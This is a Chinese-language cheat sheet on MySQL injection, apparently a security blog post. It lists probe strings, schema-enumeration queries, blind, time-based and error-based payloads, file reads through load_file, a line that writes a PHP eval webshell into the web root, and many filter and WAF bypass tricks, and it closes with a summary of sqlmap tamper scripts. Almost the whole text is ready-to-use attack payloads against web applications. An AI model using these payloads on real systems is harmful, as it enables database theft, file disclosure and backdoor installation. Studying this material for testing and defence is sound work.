本文總結(jié)了MySql注入的一些基礎(chǔ)知識以及繞過過濾的一些方法,并且將在后續(xù)繼續(xù)完善該文章,后面會添加一些具體實(shí)例的文章,希望能夠幫到大家。
0x00 基礎(chǔ)知識:
手工注入一般思路:
1.爬取所有有參數(shù)輸入的URL,表單,搜索框
2.對于多參數(shù)的需要先確定哪個(gè)參數(shù)好注入
3.如有WAF,先測出哪些沒有被ban,可以將關(guān)鍵字導(dǎo)入burp跑,根據(jù)返回長度及內(nèi)容進(jìn)行判斷
4.結(jié)合各種注入技巧,選擇比較容易獲取數(shù)據(jù)的方式進(jìn)行注入
5.除了GET、POST方式,還有COOKIE可以進(jìn)行注入,cookie的過濾偶爾會被漏掉
測WAF的關(guān)鍵字列表
extractvalue
updatexml
order
by
union
select
from
where
limit
sleep
benchmark
left
mid
substr
substring
concat
concat_ws
group_concat
or
and
%20
||
&&
(
)
-
+
%23
;
,
=
<
>
/
*
%
常用查詢語句:
查庫:
select group_concat(schema_name) from information_schema.schemata
select schema_name from information_schema.schemata limit 0,1
select database()
查表:
select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(table_name) from information_schema.tables where table_schema='數(shù)據(jù)庫'
select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫' limit 0,1
查字段:
select group_concat(column_name) from information_schema.columns where table_name='表名'
select column_name from information_schema.columns where table_name='表名' limit 0,1
查內(nèi)容:
select group_concat(字段1,字段2) from 表名
select 字段 from 表名 limit 0,1
連接符號:
concat(str1,str2,...)——沒有分隔符地連接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
group_concat(str1,str2,...)——連接一個(gè)組的所有字符串,并以逗號分隔每一條數(shù)據(jù)
字符截取函數(shù):
left(str,n)獲取字符串str左部指定n個(gè)字符 如:left(database(),2)>'se'
mid(str,m,n)獲取字符串str第m位起指定n個(gè)字符 如:ord(mid(database(),2,1))>101
substr(str,m,n)獲取字符串str第m位起指定n個(gè)字符 如:ascii(substr(database(),2,1))>101
substring(str,m,n)獲取字符串str第m位起指定n個(gè)字符 如:ascii(substring(database(),2,1))>101
時(shí)間函數(shù):
sleep() 如:If(ascii(substr(database(),1,1))=115,1,sleep(5))
benchmark() 如:IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)
PS:if(str,m,n)函數(shù)中,str為真的話執(zhí)行前面m語句,為假執(zhí)行后面n語句
讀文件:
select load_file('/var/www/html/flag.php')
寫文件:
select '<?php eval($_POST['nac']); ?>' into outfile '/var/www/nac.php'
常用函數(shù):
system_user() 系統(tǒng)用戶名
user() 用戶名
current_user 當(dāng)前用戶名
session_user() 連接數(shù)據(jù)庫的用戶名
version() MySQL版本
database() 數(shù)據(jù)庫名
load_file() MYSQ L 讀取本地文件的函數(shù)
@@datadir 數(shù)據(jù)庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統(tǒng)版本
常用測試語句(GET、POST):
數(shù)字型;
and 1=1 正常 / and 1=2 不正常 -> 有問題
and 1<2 正常 / and 1>2 不正常 -> 有問題
-1 不正常 / -0 正常 -> 有問題
^1 不正常 / ^0 正常 -> 有問題
*2 不正常 -> 有問題
字符型:
\ 不正常 / \\ 正常 -> 有問題
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
'='
'^'1'='1
%df' or 1=1--+
PS: --可以用#替換,GET方式url提交過程中url中的#需使用編碼后的#,即為%23
常用測試語句(搜索框):
1.搜索keywords',如果出錯的話,有90%的可能性存在漏洞;
2.搜索keywords%,如果同樣出錯的話,就有95%的可能性存在漏洞;
3.搜索keywords%'and 1=1 and '%'='(這個(gè)語句的功能就相當(dāng)于普通SQL注入的 and 1=1)
4.搜索keywords%'and 1=2 and '%'='(這個(gè)語句的功能就相當(dāng)于普通SQL注入的 and 1=2)
5.根據(jù)兩次的返回情況來判斷是不是搜索型文本框注入了
0x01 注入分類
基本分類:
聯(lián)合查詢的類型
基于錯誤的SQL注入
基于布爾SQL盲注
基于時(shí)間的SQL盲注
基于報(bào)錯的SQL盲注
堆查詢注射
二次注入
cookie注入
referer注入
寬字節(jié)注入
order by 注入
......(分類見仁見智)
利用exists進(jìn)行暴力猜解
將表名字典加載到burp跑表(Payload1),當(dāng)想要猜測的表名不是當(dāng)前數(shù)據(jù)庫的,如猜測mysql庫的表名(Payload2)
Payload1:and exists(select * from 表名)
Payload2:and exists(select * from mysql.表名)
將字段名字典加載到burp跑字段,這里假設(shè)得到的表名為users
Payload:and exists(select * from users)
報(bào)錯注入:
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
select 1,2,count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
exp(~(select * from(select user())a))
multipoint((select * from(select * from(select user())a)b))
寬字節(jié)注入:
前提:gbk等多字節(jié)編碼,addslashes等轉(zhuǎn)義函數(shù)
繞過:%81-%fe中的任何字符都可以吃掉反斜杠,常用%df,%bf
參考:http://www.91ri.org/8611.html
DNS注入:
沒有顯示返回信息的延時(shí)盲注或者布爾盲注可以考慮一下。
推薦一個(gè)免費(fèi)的平臺:http://ceye.io(也可用于無回顯的命令執(zhí)行)
參考:https://phpinfo.me/2016/05/10/1210.html
limit注入:
參考:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
order by注入:
參考:https://www.secpulse.com/archives/57197.html
0x02 繞過技巧:
注釋符:
#,
-- X(X為任意字符)
/*(MySQL-5.1)
;%00
`
'or 1=1;%00
'or 1=1 union select 1,2`'
'or 1=1 #
'/*!50000or*/ 1=1 -- - //版本號為5.1.38時(shí)只要小于50138
'/*!or*/ 1=1 -- -
運(yùn)算符:
1+1 --> 1--1
ascii(substr(database(),0,1))>64 --> greatest(ascii(substr(database(),0,1)),64)=64
= --> <>、like、rlike、regexp
<> --> between and、least、=
not --> !
xor --> |
or --> ||
and --> &&
空格被過濾:
%09、%0a、%0b、%0c、%0d、%a0、%00、%20、+、/**/、/*!*/、/*!5000*/、()、{}
繞過引號被過濾
hex編碼: SELECT password FROM Users WHERE username = 0x61646D696E
char編碼: SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
html實(shí)體字符編碼: SELECT FROM Users WHERE username = 'admin'
%2527: 繞過magic_quotes_gpc過濾,結(jié)合后面的27也就是%27也就是'
繞過逗號被過濾
mid,substr:mid(string,1,1)--> mid(string from 1 for 1) --> substr(string from 1)
limit 0,1 --> limit 1 offset 0
union select 1,2 --> union select * from (select 1)a join (select 2)b
select ascii(mid(user(),1,1))=80 --> select user() like 'r%'
單次過濾:
雙寫關(guān)鍵字繞過,如seselectlect
大小寫:
如UniOn、SelEct
MySql字符編碼利用技巧:
php mysqli客戶端設(shè)置的字符集為utf8,Mysql的字符集默認(rèn)是latin1。
傳入不完整的字節(jié)會被忽略掉,如傳入\xC2~\xEF中一個(gè)字符
參考:https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
其他繞過:
md5($array)=null 結(jié)果為true
null = null 結(jié)果為真(雙等號前面作等于的結(jié)果為null,再跟null作等于的結(jié)果為真)
0x03 sqlmap注入工具的使用
sqlmap注入神器的tamper用法:
apostrophemask.py 用UTF-8全角字符替換單引號字符
apostrophenullencode.py 用非法雙字節(jié)unicode字符替換單引號字符
appendnullbyte.py 在payload末尾添加空字符編碼
base64encode.py 對給定的payload全部字符使用Base64編碼
between.py 分別用“NOT BETWEEN 0 AND #”替換大于號“>”,“BETWEEN # AND #”替換等于號“=”
bluecoat.py 在SQL語句之后用有效的隨機(jī)空白符替換空格符,隨后用“LIKE”替換等于號“=”
chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經(jīng)編碼的字符)
charencode.py 對給定的payload全部字符使用URL編碼(不處理已經(jīng)編碼的字符)
charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經(jīng)編碼的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實(shí)例
equaltolike.py 用“LIKE”運(yùn)算符替換全部等于號“=”
greatest.py 用“GREATEST”函數(shù)替換大于號“>”
halfversionedmorekeywords.py 在每個(gè)關(guān)鍵字之前添加MySQL注釋
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實(shí)例
lowercase.py 用小寫值替換每個(gè)關(guān)鍵字字符
modsecurityversioned.py 用注釋包圍完整的查詢
modsecurityzeroversioned.py 用當(dāng)中帶有數(shù)字零的注釋包圍完整的查詢
multiplespaces.py 在SQL關(guān)鍵字周圍添加多個(gè)空格
nonrecursivereplacement.py 用representations替換預(yù)定義SQL關(guān)鍵字,適用于過濾器
overlongutf8.py 轉(zhuǎn)換給定的payload當(dāng)中的所有字符
percentage.py 在每個(gè)字符之前添加一個(gè)百分號
randomcase.py 隨機(jī)轉(zhuǎn)換每個(gè)關(guān)鍵字字符的大小寫
randomcomments.py 向SQL關(guān)鍵字中插入隨機(jī)注釋
securesphere.py 添加經(jīng)過特殊構(gòu)造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替換空格符
space2dash.py 用破折號注釋符“–”其次是一個(gè)隨機(jī)字符串和一個(gè)換行符替換空格符
space2hash.py 用磅注釋符“#”其次是一個(gè)隨機(jī)字符串和一個(gè)換行符替換空格符
space2morehash.py 用磅注釋符“#”其次是一個(gè)隨機(jī)字符串和一個(gè)換行符替換空格符
space2mssqlblank.py 用一組有效的備選字符集當(dāng)中的隨機(jī)空白符替換空格符
space2mssqlhash.py 用磅注釋符“#”其次是一個(gè)換行符替換空格符
space2mysqlblank.py 用一組有效的備選字符集當(dāng)中的隨機(jī)空白符替換空格符
space2mysqldash.py 用破折號注釋符“–”其次是一個(gè)換行符替換空格符
space2plus.py 用加號“+”替換空格符
space2randomblank.py 用一組有效的備選字符集當(dāng)中的隨機(jī)空白符替換空格符
unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT”
unmagicquotes.py 用一個(gè)多字節(jié)組合%bf%27和末尾通用注釋一起替換空格符
varnish.py 添加一個(gè)HTTP頭“X-originating-IP”來繞過WAF
versionedkeywords.py 用MySQL注釋包圍每個(gè)非函數(shù)關(guān)鍵字
versionedmorekeywords.py 用MySQL注釋包圍每個(gè)關(guān)鍵字
xforwardedfor.py 添加一個(gè)偽造的HTTP頭“X-Forwarded-For”來繞過WAF
參考:https://paper.seebug.org/218/